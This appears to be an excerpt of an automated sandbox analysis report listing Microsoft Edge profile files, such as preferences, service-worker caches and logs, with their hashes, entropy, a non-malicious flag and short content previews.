Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d1c0ae1f-f0aa-4b9c-89f5-fc4a09b973cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.107727896444913
Encrypted:	false
SSDEEP:	192:stMkdpAszqaFvrE9k4sHW8CbV+FdGQASUH+PIYJ:stMQAszqCDMbGkQgH2
MD5:	756A1FFAF92C32B2630C72C47E1A0516
SHA1:	EA7CE236A49009FE726CCFC70A8546B432E87645
SHA-256:	933ADC735CBC55E39474DCB1BD2A4461B4D4C0E80D614B8A6B578584047B11A0
SHA-512:	87309B5DFE521E7FF8026E7C01B4F2BFE7CD510EE2EFB9E547FEF022C2FC641B429169E941B4AC231CD4B47CDEE78B78DBA8F82B89936F9E6327442FADF380F7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376359661396914","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF41682.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.107727896444913
Encrypted:	false
SSDEEP:	192:stMkdpAszqaFvrE9k4sHW8CbV+FdGQASUH+PIYJ:stMQAszqCDMbGkQgH2
MD5:	756A1FFAF92C32B2630C72C47E1A0516
SHA1:	EA7CE236A49009FE726CCFC70A8546B432E87645
SHA-256:	933ADC735CBC55E39474DCB1BD2A4461B4D4C0E80D614B8A6B578584047B11A0
SHA-512:	87309B5DFE521E7FF8026E7C01B4F2BFE7CD510EE2EFB9E547FEF022C2FC641B429169E941B4AC231CD4B47CDEE78B78DBA8F82B89936F9E6327442FADF380F7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376359661396914","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF45e87.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.107727896444913
Encrypted:	false
SSDEEP:	192:stMkdpAszqaFvrE9k4sHW8CbV+FdGQASUH+PIYJ:stMQAszqCDMbGkQgH2
MD5:	756A1FFAF92C32B2630C72C47E1A0516
SHA1:	EA7CE236A49009FE726CCFC70A8546B432E87645
SHA-256:	933ADC735CBC55E39474DCB1BD2A4461B4D4C0E80D614B8A6B578584047B11A0
SHA-512:	87309B5DFE521E7FF8026E7C01B4F2BFE7CD510EE2EFB9E547FEF022C2FC641B429169E941B4AC231CD4B47CDEE78B78DBA8F82B89936F9E6327442FADF380F7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376359661396914","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4d3c7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.107727896444913
Encrypted:	false
SSDEEP:	192:stMkdpAszqaFvrE9k4sHW8CbV+FdGQASUH+PIYJ:stMQAszqCDMbGkQgH2
MD5:	756A1FFAF92C32B2630C72C47E1A0516
SHA1:	EA7CE236A49009FE726CCFC70A8546B432E87645
SHA-256:	933ADC735CBC55E39474DCB1BD2A4461B4D4C0E80D614B8A6B578584047B11A0
SHA-512:	87309B5DFE521E7FF8026E7C01B4F2BFE7CD510EE2EFB9E547FEF022C2FC641B429169E941B4AC231CD4B47CDEE78B78DBA8F82B89936F9E6327442FADF380F7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376359661396914","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567645853909119
Encrypted:	false
SSDEEP:	768:rLQOaRW5ZW5w6wf4vG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPMQII1p7rwXwpZtuB:rkpRAZWa6wfiGu1jatOfQ2te
MD5:	C85F95F263CC6CDBEB52709B48D6F2BC
SHA1:	529F33EC9486638772AC39E722EC71D478F0779D
SHA-256:	F0BE5262B27955D78E80582AE179597F41C11BC1EB5A0AA89DA65A5ACCF0F7D7
SHA-512:	B2F77F6EDFD0FCA6170B72FBEA43EE591A3880F18757A32B9D322AA7474E894AAE2F36F1B85D578EE051C676AF0A381C4CD4DAD84116B887B874A105EAA06274
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376359660807066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376359660807066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF412c9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567645853909119
Encrypted:	false
SSDEEP:	768:rLQOaRW5ZW5w6wf4vG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPMQII1p7rwXwpZtuB:rkpRAZWa6wfiGu1jatOfQ2te
MD5:	C85F95F263CC6CDBEB52709B48D6F2BC
SHA1:	529F33EC9486638772AC39E722EC71D478F0779D
SHA-256:	F0BE5262B27955D78E80582AE179597F41C11BC1EB5A0AA89DA65A5ACCF0F7D7
SHA-512:	B2F77F6EDFD0FCA6170B72FBEA43EE591A3880F18757A32B9D322AA7474E894AAE2F36F1B85D578EE051C676AF0A381C4CD4DAD84116B887B874A105EAA06274
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376359660807066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376359660807066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4588c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567645853909119
Encrypted:	false
SSDEEP:	768:rLQOaRW5ZW5w6wf4vG8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPMQII1p7rwXwpZtuB:rkpRAZWa6wfiGu1jatOfQ2te
MD5:	C85F95F263CC6CDBEB52709B48D6F2BC
SHA1:	529F33EC9486638772AC39E722EC71D478F0779D
SHA-256:	F0BE5262B27955D78E80582AE179597F41C11BC1EB5A0AA89DA65A5ACCF0F7D7
SHA-512:	B2F77F6EDFD0FCA6170B72FBEA43EE591A3880F18757A32B9D322AA7474E894AAE2F36F1B85D578EE051C676AF0A381C4CD4DAD84116B887B874A105EAA06274
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376359660807066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376359660807066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.841440090697466
Encrypted:	false
SSDEEP:	48:F2emWtrdD3zfBeXrd6NgtnrdD32BErddB7:F1mWtxDj6x6NgtnxDBxT
MD5:	CD178FBD754B92DB3CCDE78D3C168A38
SHA1:	678BEE661632188446BC5E04A44976F3CD17614D
SHA-256:	0F82F810466AB5DB22ABA0465A499276109A46686D2B276BD78E4C4CEA0F7D78
SHA-512:	389E6A6A6C4948FF3050B380C3B636C2A10DAF5B0A8841A68EA88166F0B850557E72B230F4FFB491780B73ADDE56BD2D7BFC163008C7CC9D5DA9BE79EAEE3628
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..3.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.1477347159980305
Encrypted:	false
SSDEEP:	6:HUkuRl4RM1N723oH+TcwtE/a252KLlVUkuIOq2PN723oH+TcwtE/a2ZIFUv:0msaYeb8xLAvVaYeb8J2FUv
MD5:	77550073A3981BD797AADD73DA1E08F7
SHA1:	4D122B8DEA38CDF1F298B08DAE7022CF269264F5
SHA-256:	E08201B1F6E7C2019DD816E601AA0BD3728C519959F5ADE0CA3BF146F62DCE9E
SHA-512:	0B1B902A6A845054501C0109CCDA82656EE5495A41F5820464FCDD6561D77E65ECC3FBFCB19612342AB8B2F6CD9C173E0E6AF401AF48D9D5AECE5001C7099B6E
Malicious:	false
Preview:	2024/11/17-18:27:54.941 1e54 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/17-18:27:54.953 1e54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114467
Entropy (8bit):	5.578105958431003
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqy9:d9LyxPXfOxr1lMe1nL/CL/TXEmilR2
MD5:	C835D535BDB2CAE16A75F43FAEBF7CC0
SHA1:	891CB4EA47986C4F5AFAE28356C20D5BA8526981
SHA-256:	29FCDC203D5153FBF32DD42651111E7FAA41DA0F8DE04CC276D748CF2D3CCF15
SHA-512:	30824754A2316C7C238434D67D7AE257ECCAD292AE0E7F55E4AB3B53D019BA3302BD57B42D5C3680B52BBD1524D7F353377F17BA1BF79B4C14CBC39572FA7954
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188985
Entropy (8bit):	6.386939169009483
Encrypted:	false
SSDEEP:	3072:MK4f5GtbWjwK1dpRiL/2WMhW3xi93rLUGGb:SjwApAL/1KOi57u
MD5:	C5DD5E00962443F138CBA2391B604DC1
SHA1:	28A9E3C25CF2408ACC4492D459777512C479828F
SHA-256:	59631AABAAE4A3F05A99777C0EFD63CE7E34263877EFD133AC4A0396C1EA355A
SHA-512:	4B9107874AB74303AA40D0575CA0D66F3E143AE825F31CA5935F424E53868146D99FFCFAFCFF5AD74D21E51000C2AE674BC9D5F49AE313954203EFC3581D16EE
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R.."....yT.........,T.8..`,.....L`.....,T...`......L`......Rcj.......exports...Rc..-.....module....Rc.@r....define....Rb.Y\.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..T..b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:7VWDE0Xl/lR/lxEwltOELfPln:wDzCQsELfPln
MD5:	C03199C4462765D84782088F31252507
SHA1:	F1202E28DB4CFC0CC529A23913C667BD9C9E965C
SHA-256:	44365613E3B68B7AC992149E054D3776D2FED9C71E1C4BAE134BEAF97BBB0DA2
SHA-512:	050B2E2582FAA3155E6A149CEC73A1192B6911D350128430653E15E741C9BB657E3F4BCDE8467CBAE48ECCF9ADF5FED2B7C2FF386E82DD422FB7F6990E5DA5C5
Malicious:	false
Preview:	@...N0..oy retne.........................X....,.................[.n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:7VWDE0Xl/lR/lxEwltOELfPln:wDzCQsELfPln
MD5:	C03199C4462765D84782088F31252507
SHA1:	F1202E28DB4CFC0CC529A23913C667BD9C9E965C
SHA-256:	44365613E3B68B7AC992149E054D3776D2FED9C71E1C4BAE134BEAF97BBB0DA2
SHA-512:	050B2E2582FAA3155E6A149CEC73A1192B6911D350128430653E15E741C9BB657E3F4BCDE8467CBAE48ECCF9ADF5FED2B7C2FF386E82DD422FB7F6990E5DA5C5
Malicious:	false
Preview:	@...N0..oy retne.........................X....,.................[.n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44b3e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:7VWDE0Xl/lR/lxEwltOELfPln:wDzCQsELfPln
MD5:	C03199C4462765D84782088F31252507
SHA1:	F1202E28DB4CFC0CC529A23913C667BD9C9E965C
SHA-256:	44365613E3B68B7AC992149E054D3776D2FED9C71E1C4BAE134BEAF97BBB0DA2
SHA-512:	050B2E2582FAA3155E6A149CEC73A1192B6911D350128430653E15E741C9BB657E3F4BCDE8467CBAE48ECCF9ADF5FED2B7C2FF386E82DD422FB7F6990E5DA5C5
Malicious:	false
Preview:	@...N0..oy retne.........................X....,.................[.n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5903
Entropy (8bit):	3.4087734457057155
Encrypted:	false
SSDEEP:	96:5K8i9puV16f3thWkmfMQK1m32PYk9Xp+PY+Ciiok9F5SLl9iSrK17zzA:oC1mmLOqk9Xp+AdiiD35SLl9iSrKJ3
MD5:	11EF74C49234A3926022739BB560E5EF
SHA1:	36A01B9054D144698CB8FB09440A01E3E8C172E1
SHA-256:	507E60B216CB1EBBC4D7A8349957A64F5A0D1B71ADF4CFD638F647A786B9B6AA
SHA-512:	F63D958F57469A3633B8FF18A5BA7584AB71EC1795D7469E25657CBB934424246BB8B4BD64AD9BFCD212C016242E925112AE8FC5756958E96552FF0F977AC6FE
Malicious:	false
